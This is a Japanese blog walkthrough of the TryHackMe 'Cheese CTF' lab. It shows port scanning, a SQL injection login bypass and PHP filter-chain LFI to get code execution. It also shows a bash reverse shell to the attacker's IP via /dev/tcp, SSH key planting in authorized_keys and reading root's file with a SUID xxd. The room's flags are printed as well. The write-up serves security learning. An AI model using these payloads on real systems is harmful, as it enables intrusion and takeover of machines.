1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Cheese CTF

Posted at

はじめに

今回はTryHackMeのwriteup兼備忘録になります。

今回は難易度がEasyである「Cheese CTF」というRoomを攻略しました。
※扱い次第では法に触れるため、悪用厳禁です。

Task1とTask3は省略します。

環境

環境 IPアドレス
攻撃マシン 10.8.59.30
ターゲットマシン 10.10.210.18

Task2 Flags

What is the user.txt flag?

最初にポートスキャンを行います。

┌──(kali㉿kali)-[~]
└─$ nmap -Pn -T4 10.10.210.18
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-09 20:00 JST
Nmap scan report for 10.10.210.18
Host is up (0.25s latency).

PORT      STATE SERVICE
1/tcp     open  tcpmux
3/tcp     open  compressnet
4/tcp     open  unknown
6/tcp     open  unknown
7/tcp     open  echo
9/tcp     open  discard
13/tcp    open  daytime
17/tcp    open  qotd
19/tcp    open  chargen
20/tcp    open  ftp-data
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
24/tcp    open  priv-mail
25/tcp    open  smtp
26/tcp    open  rsftp
30/tcp    open  unknown
32/tcp    open  unknown
33/tcp    open  dsp
37/tcp    open  time
42/tcp    open  nameserver
43/tcp    open  whois
49/tcp    open  tacacs
53/tcp    open  domain
70/tcp    open  gopher
79/tcp    open  finger
80/tcp    open  http
81/tcp    open  hosts2-ns
82/tcp    open  xfer
83/tcp    open  mit-ml-dev
...
65389/tcp open  unknown

80が空いていたので、ブラウザで見てみます。
image.png

ページ内を探索していたところ、ログインページを見つけました。
image.png

どうやらログインページ内で、SQLインジェクションを実行するとのこと。
SQLインジェクションと言えば「OR 1 = 1」が印象的ですが、パイプを使用した表記が正しいっぽい。参考

' || ' 1 '=' 1 ';-- -

ログインできました。
image.png

「Orders」を選択して遷移されたページのURL「php?file=php://filter」に対し、ローカルファイルインクルード(LFI)が有効であるとのこと。参考

image.png

下記の手順を参考にし、ペイロードを作成してリバースシェルを行います。参考

ペイロードを攻撃側マシンに作成します。その際には、攻撃側マシンのIPと任意なポートを指定しておきます。
phpのコードはこちらを参考にしています。参考

また「|grep」を加えて、ペイロードに必要な箇所のみ抽出し、任意なファイル名を指定して出力します。

┌──(kali㉿kali)-[~/Downloads]
└─$ python3 php_filter_chain_generator.py --chain "<?php exec('/bin/bash -c \"bash -i >& /dev/tcp/10.8.59.30/1234 0>&1\"'); ?>" | grep "^php" > payload.txt 

netcatコマンドで先ほど指定したポートを待ち受けます。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...

curlコマンドを実行してリクエストを送信し、リバースシェルの取得を試みます。

┌──(kali㉿kali)-[~/Downloads]
└─$ curl "http://10.10.210.18//secret-script.php?file=$(cat payload.txt)"    

成功しました。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.8.59.30] from (UNKNOWN) [10.10.210.18] 37348
bash: cannot set terminal process group (874): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cheesectf:/var/www/html$ 

ターゲット先で「user.txt」を見つけましたが、権限上確ファイルの中身の確認ができませんでした。

www-data@cheesectf:/var/www/html$ cd /home
cd /home
www-data@cheesectf:/home$ ls
ls
comte
www-data@cheesectf:/home$ cd comte
cd comte
www-data@cheesectf:/home/comte$ ls
ls
snap
user.txt
www-data@cheesectf:/home/comte$ 
www-data@cheesectf:/home/comte$ ls -l
ls -l
total 12
drwx------ 3 comte comte 4096 Mar 25  2024 snap
-rw------- 1 comte comte 4276 Sep 15  2023 user.txt

何か権限昇格できないかを参考サイトを参考にLinPEASを実行します。参考

ターゲット環境でスクリプトの実行ができそうな「tmp」内での実行を試みます。

www-data@cheesectf:/$ ls -l
ls -l
total 2097220
lrwxrwxrwx   1 root root          7 Mar 14  2023 bin -> usr/bin
drwxr-xr-x   4 root root       4096 Mar 28  2024 boot
drwxr-xr-x  16 root root       3920 Oct 13 04:32 dev
drwxr-xr-x 105 root root       4096 Apr  4  2024 etc
drwxr-xr-x   3 root root       4096 Sep 27  2023 home
lrwxrwxrwx   1 root root          7 Mar 14  2023 lib -> usr/lib
lrwxrwxrwx   1 root root          9 Mar 14  2023 lib32 -> usr/lib32
lrwxrwxrwx   1 root root          9 Mar 14  2023 lib64 -> usr/lib64
lrwxrwxrwx   1 root root         10 Mar 14  2023 libx32 -> usr/libx32
drwx------   2 root root      16384 Sep 27  2023 lost+found
drwxr-xr-x   2 root root       4096 Mar 25  2024 media
drwxr-xr-x   2 root root       4096 Mar 14  2023 mnt
drwxr-xr-x   2 root root       4096 Mar 29  2024 opt
dr-xr-xr-x 170 root root          0 Oct 13 04:31 proc
drwx------   6 root root       4096 Apr  4  2024 root
drwxr-xr-x  30 root root        880 Oct 13 04:32 run
lrwxrwxrwx   1 root root          8 Mar 14  2023 sbin -> usr/sbin
drwxr-xr-x   6 root root       4096 Mar 14  2023 snap
drwxr-xr-x   2 root root       4096 Mar 14  2023 srv
-rw-------   1 root root 2147483648 Sep 27  2023 swap.img
dr-xr-xr-x  13 root root          0 Oct 13 04:31 sys
drwxrwxrwt   2 root root       4096 Oct 13 06:04 tmp
drwxr-xr-x  14 root root       4096 Mar 14  2023 usr
drwxr-xr-x  14 root root       4096 Sep 27  2023 var

攻撃側の環境でスクリプトをダウンロードしておきます。

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

その後に、サーバを立ち上げます。

┌──(kali㉿kali)-[~/Downloads]
└─$ python -m http.server 80

ターゲット環境先で、攻撃マシンからスクリプトをダウンロードします。

www-data@cheesectf:/lib$ cd ../tmp
cd ../tmp
www-data@cheesectf:/tmp$ wget http://10.8.59.30/linpeas.sh
wget http://10.8.59.30/linpeas.sh
--2024-10-13 06:04:36--  http://10.8.59.30/linpeas.sh
Connecting to 10.8.59.30:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 824745 (805K) [text/x-sh]
Saving to: 'linpeas.sh'

     0K .......... .......... .......... .......... ..........  6% 81.5K 9s
    50K .......... .......... .......... .......... .......... 12%  162K 7s
   100K .......... .......... .......... .......... .......... 18%  164K 5s
   150K .......... .......... .......... .......... .......... 24%  161K 5s
   200K .......... .......... .......... .......... .......... 31% 8.31M 3s
   250K .......... .......... .......... .......... .......... 37% 9.97M 3s
   300K .......... .......... .......... .......... .......... 43%  166K 2s
   350K .......... .......... .......... .......... .......... 49% 17.2M 2s
   400K .......... .......... .......... .......... .......... 55% 9.48M 1s
   450K .......... .......... .......... .......... .......... 62% 9.91M 1s
   500K .......... .......... .......... .......... .......... 68% 10.1M 1s
   550K .......... .......... .......... .......... .......... 74%  171K 1s
   600K .......... .......... .......... .......... .......... 80% 9.71M 1s
   650K .......... .......... .......... .......... .......... 86% 9.31M 0s
   700K .......... .......... .......... .......... .......... 93% 9.99M 0s
   750K .......... .......... .......... .......... .......... 99% 9.53M 0s
   800K .....                                                 100% 7.73M=2.2s

2024-10-13 06:04:39 (369 KB/s) - 'linpeas.sh' saved [824745/824745]

www-data@cheesectf:/tmp$ 

ダウンロードしたスクリプトに実行権限を付与します。

lswww-data@cheesectf:/tmp$  -
www-data@cheesectf:/tmp$ l
ls -l
total 808
-rw-r--r-- 1 www-data www-data 824745 Oct 11 02:05 linpeas.sh
www-data@cheesectf:/tmp$ chmod +x linepeas.sh
chmod +x linepeas.sh
chmod: cannot access 'linepeas.sh': No such file or directory
www-data@cheesectf:/tmp$ chmod +x linpeas.sh
chmod +x linpeas.sh
www-data@cheesectf:/tmp$ ls -l
ls -l
total 808
-rwxr-xr-x 1 www-data www-data 824745 Oct 11 02:05 linpeas.sh
www-data@cheesectf:/tmp$ 

実行します。

www-data@cheesectf:/tmp$ sh linpeas.sh

結果を確認したところ、下記ファイルには書き込みが可能であるとのこと。

╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 200)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files        
/dev/mqueue                                                                      
/dev/shm
/etc/systemd/system/exploit.timer
/home/comte/.ssh/authorized_keys
/run/lock
/run/lock/apache2
/run/screen
/snap/core20/2015/run/lock
/snap/core20/2015/tmp
/snap/core20/2015/var/tmp
/snap/core20/2182/run/lock
/snap/core20/2182/tmp
/snap/core20/2182/var/tmp
/tmp
/tmp/linpeas.sh
/tmp/tmux-33
/var/cache/apache2/mod_cache_disk
/var/crash
/var/lib/php/sessions
/var/tmp

authorized_keysの変更が可能である事を確認した為、攻撃環境で発行したSSHキーを書き込み、パスワードなしでssh接続によるログインを試みます。

──(kali㉿kali)-[~/Downloads]
└─$ sudo ssh-keygen -t rsa 
[sudo] password for kali: 
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:TmBLdM05tIk6rf2BrhhyXJZc5/d2VfPb8CP+VIOMO3E root@kali
The key's randomart image is:
+---[RSA 3072]----+
|      . .+..     |
|     . . .=o     |
|      + o +.   ..|
|     + B o  o . +|
|      O S .o.E..+|
|   . o * . .+. o*|
|  . + . + .o .o++|
|   o o . . .o.o..|
|    . ... .  ... |
+----[SHA256]-----+

「root」フォルダにSSHキーが作成されるので、内容を確認しターゲット環境に書き込みます。

──(kali㉿kali)-[~/Downloads]
└─$ sudo cat /root/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1QlQxMnLUWrDgzFoihkKjEBtSHUB4G+r3GXPDlsuhv3I+Beb53updUVHjMl52qnmPlqYP+yibm0yjUrqYCvBGL1872Styrt+ZOaysEOR7RAZ7f8c5USYXYOkVoM0xs+6dGG
...
echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1QlQxMnLUWrDgzFoihkKjEBtSHUB4G+r3GXPDlsuhv3I+Beb53updUVHjMl52qnmPlqYP+yibm0yjUrqYCvBGL1872Styrt+ZOaysEOR7RAZ7f8c5USYXYOkVoM0xs+6dGG
... > /home/comte/.ssh/authorized_keys

rootにログインをし、ssh接続を行います。

┌──(kali㉿kali)-[~/Downloads]
└─$ sudo su - root                                 
┌──(root㉿kali)-[~]
└─# ssh -i id_rsa comte@10.10.210.18
Warning: Identity file id_rsa not accessible: No such file or directory.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-174-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 13 Oct 2024 08:04:46 AM UTC

  System load:  0.72               Processes:             139
  Usage of /:   31.1% of 18.53GB   Users logged in:       0
  Memory usage: 14%                IPv4 address for ens5: 10.10.210.18
  Swap usage:   0%


 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

     https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

47 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Apr  4 17:26:03 2024 from 192.168.0.112
comte@cheesectf:~$ ^C

テキストファイルを確認し、一つ目のフラグ獲得になります。

comte@cheesectf:~$ ls
snap  user.txt
comte@cheesectf:~$ cat user.txt 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠉⠛⠻⢶⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⠟⠁⣠⣴⣶⣶⣤⡀⠈⠉⠛⠿⢶⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡿⠃⠀⢰⣿⠁⠀⠀⢹⡷⠀⠀⠀⠀⠀⠈⠙⠻⠷⣶⣤⣀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠋⠀⠀⠀⠈⠻⠷⠶⠾⠟⠁⠀⠀⣀⣀⡀⠀⠀⠀⠀⠀⠉⠛⠻⢶⣦⣄⡀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⠁⠀⠀⢀⣀⣀⡀⠀⠀⠀⠀⠀⠀⣼⠟⠛⢿⡆⠀⠀⠀⠀⠀⣀⣤⣶⡿⠟⢿⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠋⠀⠀⣴⡿⠛⠛⠛⠛⣿⡄⠀⠀⠀⠀⠻⣶⣶⣾⠇⢀⣀⣤⣶⠿⠛⠉⠀⠀⠀⢸⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⠟⠀⠀⠀⠀⢿⣦⡀⠀⠀⠀⣹⡇⠀⠀⠀⠀⠀⣀⣤⣶⡾⠟⠋⠁⠀⠀⠀⠀⠀⣠⣴⠾⠇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⡿⠁⠀⠀⠀⠀⠀⠀⠙⠻⠿⠶⠾⠟⠁⢀⣀⣤⡶⠿⠛⠉⠀⣠⣶⠿⠟⠿⣶⡄⠀⠀⣿⡇⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⠟⢁⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⠾⠟⠋⠁⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⣼⡇⠀⠀⠙⢷⣤⡀
⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⣾⡏⢻⣷⠀⠀⠀⢀⣠⣴⡶⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣷⣤⣤⣴⡟⠀⠀⠀⠀⠀⢻⡇
⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⠀⠀⠙⠛⢛⣋⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠁⠀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⠀⠀⣠⣾⠟⠁⠀⢀⣀⣤⣤⡶⠾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣤⣤⣤⣤⣤⡀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⣠⣾⣿⣥⣶⠾⠿⠛⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⠶⣶⣤⣀⠀⠀⠀⠀⠀⢠⡿⠋⠁⠀⠀⠀⠈⠉⢻⣆⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠛⠉⠁⠀⢀⣠⣴⣶⣦⣀⠀⠀⠀⠀⠀⠀⠀⣠⡿⠋⠀⠀⠀⠉⠻⣷⡀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠘⣿⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠀⠀⠀⣴⡟⠋⠀⠀⠈⢻⣦⠀⠀⠀⠀⠀⢰⣿⠁⠀⠀⠀⠀⠀⠀⢸⣷⠀⠀⠀⢻⣧⠀⠀⠀⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⢿⡆⠀⠀⠀⠀⢰⣿⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⣸⡟⠀⠀⠀⠀⠙⢿⣦⣄⣀⣀⣠⣤⡾⠋⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⠘⣿⣄⣀⣠⣴⡿⠁⠀⠀⠀⠀⠀⠀⢿⣆⠀⠀⠀⢀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠀⠀⠀⣀⣤⣴⠿⠃
⠀⠸⣷⡄⠀⠀⠀⠈⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⠿⠿⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⡶⠟⠋⠉⠀⠀⠀
⠀⠀⠈⢿⣆⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣶⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢨⣿⠀⠀⠀⠀⠀⠀⣼⡟⠁⠀⠀⠀⠹⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⢻⣇⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢠⣾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣤⣤⣤⣴⡿⠃⠀⠀⣀⣤⣶⠾⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⣀⣠⣴⡾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⡇⠀⠀⠀⠀⣀⣤⣴⠾⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣧⣤⣴⠾⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠘⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀


THM{9f2ce3df1beeecaf695b3a8560c682704c31b17a}
comte@cheesectf:~$ 

What is the root.txt flag?

現在のユーザーで、sudoコマンドの実行が可能なものを確認します。

comte@cheesectf:/$ sudo -l
User comte may run the following commands on cheesectf:
    (ALL) NOPASSWD: /bin/systemctl daemon-reload
    (ALL) NOPASSWD: /bin/systemctl restart exploit.timer
    (ALL) NOPASSWD: /bin/systemctl start exploit.timer
    (ALL) NOPASSWD: /bin/systemctl enable exploit.timer

「exploit.timer」というファイルが実行されているようなので、探してみます。

comte@cheesectf:/$ find -name "exploit.timer"
...
find: ‘./lost+found’: Permission denied
./etc/systemd/system/exploit.timer
find: ‘./etc/ssl/private’: Permission denied
...

見つけたので、中身を見てみます。

comte@cheesectf:/$ cat /etc/systemd/system/exploit.timer
[Unit]                                                                                                                                                                                   
Description=Exploit Timer                                                                                                                                                                
                                                                                                                                                                                         
[Timer]                                                                                                                                                                                  
OnBootSec=                                                                                                                                                                               
                                                                                                                                                                                         
[Install]                                                                                                                                                                                
WantedBy=timers.target

OnBootSecに任意な数値を入れてみます。

comte@cheesectf:/$ vim /etc/systemd/system/exploit.timer                                                                                                                              
comte@cheesectf:/$                                                                                                                                                                       
comte@cheesectf:/$ cat /etc/systemd/system/exploit.timer                                                                                                                      
[Unit]                                                                                                                                                                                   
Description=Exploit Timer

[Timer]
OnBootSec=10

[Install]
WantedBy=timers.target
comte@cheesectf:/$ 

systemctlコマンドについて調べていたところ、ステータス確認ができるみたいなので、そちらを実行してみます。参考
確認したところ「Active」となっているので、おそらく動いているっぽい。

comte@cheesectf:/$ /bin/systemctl status exploit.timer
● exploit.timer - Exploit Timer
     Loaded: loaded (/etc/systemd/system/exploit.timer; enabled; vendor preset: enabled)
     Active: active (elapsed) since Sun 2024-10-13 10:21:55 UTC; 3min 23s ago
    Trigger: n/a
   Triggers: ● exploit.service
comte@cheesectf:/$ 

「exploit.service」ファイルがトリガーとして実行されているようでしたので、「exploit.timer」と同じディレクトリにあるそのファイルを見てみます。

comte@cheesectf:/etc/systemd/system$ cat exploit.service
[Unit]
Description=Exploit Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"
comte@cheesectf:/etc/systemd/system$ 

内容を確認するに、「/opt」にSUIDの実行権限が付与された「xxd」がコピーされているようです。

下記サイトを参考に、「root.txt」ファイルの読み込みを試みます。参考

comte@cheesectf:/opt$ LFILE=/root/root.txt
comte@cheesectf:/opt$ ./xxd "$LFILE" | xxd -r
      _                           _       _ _  __
  ___| |__   ___  ___  ___  ___  (_)___  | (_)/ _| ___
 / __| '_ \ / _ \/ _ \/ __|/ _ \ | / __| | | | |_ / _ \
| (__| | | |  __/  __/\__ \  __/ | \__ \ | | |  _|  __/
 \___|_| |_|\___|\___||___/\___| |_|___/ |_|_|_|  \___|


THM{dca75486094810807faf4b7b0a929b11e5e0167c}

無事2つ目のフラグを獲得できました。

以上になります。
(かなり難しかった。。。)

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?